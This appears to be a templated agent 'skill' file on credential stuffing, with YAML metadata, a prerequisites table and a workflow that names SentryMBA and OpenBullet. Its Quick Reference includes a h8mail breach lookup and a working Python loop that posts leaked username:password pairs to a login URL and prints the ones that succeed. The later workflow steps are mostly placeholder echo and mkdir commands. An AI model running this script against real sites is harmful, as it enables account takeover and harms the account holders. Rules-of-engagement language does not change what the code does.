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<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
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---
name: performing-credential-stuffing-analysis
description: >-
  Analyze and execute credential stuffing attacks using breach databases to identify password reuse across multiple authentication endpoints.
domain: cybersecurity
subdomain: password-cracking
tags:
  - credential-stuffing
  - breach-data
  - password-reuse
  - automation
  - detection
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1110.004"]
  cwe: ["CWE-521"]
  tools: ["SentryMBA", "OpenBullet", "storm-breaker", "h8mail", "pwndb"]
---

# Performing Credential Stuffing Analysis

## Overview

Analyze and execute credential stuffing attacks using breach databases to identify password reuse across multiple authentication endpoints.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `SentryMBA` | Security tooling |
| `OpenBullet` | Security tooling |
| `storm-breaker` | Security tooling |
| `h8mail` | Security tooling |
| `pwndb` | Security tooling |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |
| Relevant target samples or systems acquired through authorized channels | Environment requirement |

## Quick Reference

```bash
# Check email in breach databases
h8mail -t target@company.com

# Normalize credential format
awk -F: '{print $1":"$2}' raw_creds.txt | sort -u > normalized.txt

# Test credentials against endpoint
python3 -c "
import requests
creds = open('normalized.txt').readlines()
for line in creds:
    user, pwd = line.strip().split(':')
    r = requests.post('https://target.com/login',
                       data={'username': user, 'password': pwd})
    if r.status_code == 200 and 'dashboard' in r.text:
        print(f'VALID: {user}:{pwd}')
"
```

## Workflow

### Step 1: Preparation and Reconnaissance

```bash
# Identify target and gather initial intelligence
file ./target_sample
sentrymba --version 2>/dev/null || echo "Install SentryMBA"

# Set up working directory
mkdir -p /tmp/performing-credential-stuffing-analysis/{output,logs,artifacts}
```

### Step 2: Primary Analysis

```bash
# Execute primary analysis with SentryMBA
# Refer to Quick Reference above for detailed commands
echo "[*] Running Performing Credential Stuffing Analysis with SentryMBA..."

# Log all operations
script -q /tmp/performing-credential-stuffing-analysis/logs/session.log
```

### Step 3: Deep Investigation

```bash
# Apply OpenBullet for secondary analysis
echo "[*] Deep investigation with OpenBullet..."

# Cross-reference findings
diff /tmp/performing-credential-stuffing-analysis/output/primary.json /tmp/performing-credential-stuffing-analysis/output/secondary.json
```

### Step 4: Documentation and Reporting

```bash
# Generate structured findings report
cat <<'EOF' > /tmp/performing-credential-stuffing-analysis/output/report.json
{
  "technique": "performing-credential-stuffing-analysis",
  "domain": "password-cracking",
  "tools_used": ["SentryMBA", "OpenBullet"],
  "findings": [],
  "recommendations": []
}
EOF
```

## Verification

- [ ] Environment and tools verified and operational
- [ ] Target samples acquired through authorized channels
- [ ] Primary analysis completed with findings documented
- [ ] Secondary validation performed with independent tooling
- [ ] All artifacts preserved in structured output directory
- [ ] Detection opportunities documented for blue team

## References

- [MITRE ATT&CK T1110.004](https://attack.mitre.org/techniques/T1110/004) — Related technique
- [SentryMBA Documentation](https://sentrymba.org/) — Primary tooling
- [OpenBullet Reference](https://openbullet.org/) — Secondary tooling
